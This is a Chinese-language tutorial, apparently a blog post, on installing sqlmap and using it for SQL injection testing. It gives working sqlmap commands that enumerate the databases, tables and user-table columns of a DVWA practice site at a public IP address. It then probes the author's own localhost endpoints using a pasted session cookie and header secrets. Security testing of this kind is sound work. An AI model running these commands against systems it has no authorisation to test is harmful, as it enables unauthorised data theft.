1.sqlmap簡介
最白話的介紹就是sqlmap是一個工具,一個用來做sql注入攻擊的工具
2.windows安裝python2
這個sqlmap需要python2才可以正常執(zhí)行,注意python3不行哦,如果你已經(jīng)安裝了python3,本地同時安裝python2和python3,需要注意修改其中一個python執(zhí)行文件的名字,以便在path中添加環(huán)境變量的時候,可以正確區(qū)分,詳細(xì)這里不進(jìn)行贅述,如果不了解,建議自行百度。
3. windows安裝sqlmap
3.1 下載壓縮包
在sqlmap的網(wǎng)站上下載對應(yīng)的壓縮文件
http://sqlmap.org/

3.2 解壓文件
解壓到任意文件夾皆可
解壓以后大概是這個樣子的

3.3 啟動一個命令行,執(zhí)行sqlmap.py
如果出現(xiàn)這個界面,表示一切正常

4. 測試sqlmap功能
4.1 使用DVWA測試網(wǎng)站
4.1.1 關(guān)于dvwa

這個網(wǎng)站有sql漏洞,專門拿來測試用,不知道是哪位好心人搞出來的
網(wǎng)址是:http://43.247.91.228:81/login.php
登陸的用戶名密碼是:admin/password
4.1.2 操作
首先登陸成功以后三步走,拿到需要的url

拿到url以后,就可以使用這個url來注入了
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"
出現(xiàn)如下結(jié)果,則表示sqlmap檢測到有可以注入的地方,

ps:如果沒有檢測到可以注入的地方,會顯示如下

既然檢測到有可以注入的地方,現(xiàn)在我們就來通過這個注入來獲取一些數(shù)據(jù)庫的信息
獲取數(shù)據(jù)庫
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
可以看到執(zhí)行以后拿到了數(shù)據(jù)庫的信息

再進(jìn)一步,獲取數(shù)據(jù)庫中表的信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
可以看到,拿到了dvwa這個庫中的所有表的名字

再進(jìn)一步,獲取表中的字段信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns
可以看到,拿到了表中的所有字段

4.2 使用本地網(wǎng)站
4.2.1 本地網(wǎng)站是本地的項目,現(xiàn)在用本地的項目跑起來來測試sqlmap
主要測試三個url:
http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'
http://localhost:9099/record/user/2019-03-09
127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684
4.2.2 操作--url1
url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3',這是一個post請求,nsrsbh是所需要的參數(shù)
執(zhí)行:
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --method=POST
可以看到,沒有訪問到正確的連接,而是被重定向到了登陸的login頁面,這是因為這個網(wǎng)站需要登陸,沒有登陸的情況訪問鏈接就會被重定向到登陸頁面,所以在這里現(xiàn)在瀏覽器中登陸,然后拿到瀏覽器的cookie,讓sqlmap攜帶著cookie再去攻擊

拿到瀏覽器的cookie

執(zhí)行(攜帶cookie):
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST
執(zhí)行結(jié)果:可以看到,并沒有找到可以注入的地方

觀察這個網(wǎng)站的日志,也可以看到,這個接口被調(diào)用很多次,都是sqlmap自動調(diào)用的,它在嘗試尋找可以注入的地方

4.2.3 操作--url2
url2:http://localhost:9099/record/user/2019-03-09,這是一個get請求,2019-03-09是restful風(fēng)格的參數(shù)
同樣攜帶cookie執(zhí)行:
python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET
執(zhí)行結(jié)果,沒有發(fā)現(xiàn)可以注入的地方

查看網(wǎng)站后臺,接口同樣被調(diào)用多次

4.2.3 操作--url3
url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,這也是一個get請求,但是不同的是,這個接口不需要cookie就可以訪問,但是需要攜帶正確的header才可以執(zhí)行
攜帶header執(zhí)行:
python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684" --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"
執(zhí)行結(jié)果,沒有找到可以注入的地方

查看后臺,接口同樣被調(diào)用多次

5. 總結(jié)
簡單的使用就是這樣,需要一個url,有的可能需要攜帶cookie,有的可能需要攜帶header,
如果找到了注入點,就可以拿到一些數(shù)據(jù)信息,但是現(xiàn)在的網(wǎng)站通常也比較難找到可以注入的url。
可以通過這種方式來檢測自己寫的接口是否有被sql注入的風(fēng)險
關(guān)于sqlmap的命令還有更深入的,可以通過-h或者--help來查看更多的指令操作,比如不想每次執(zhí)行語句的時候都要手動確認(rèn)一些選擇項,可以通過--batch指令,讓sqlmap自己去決定。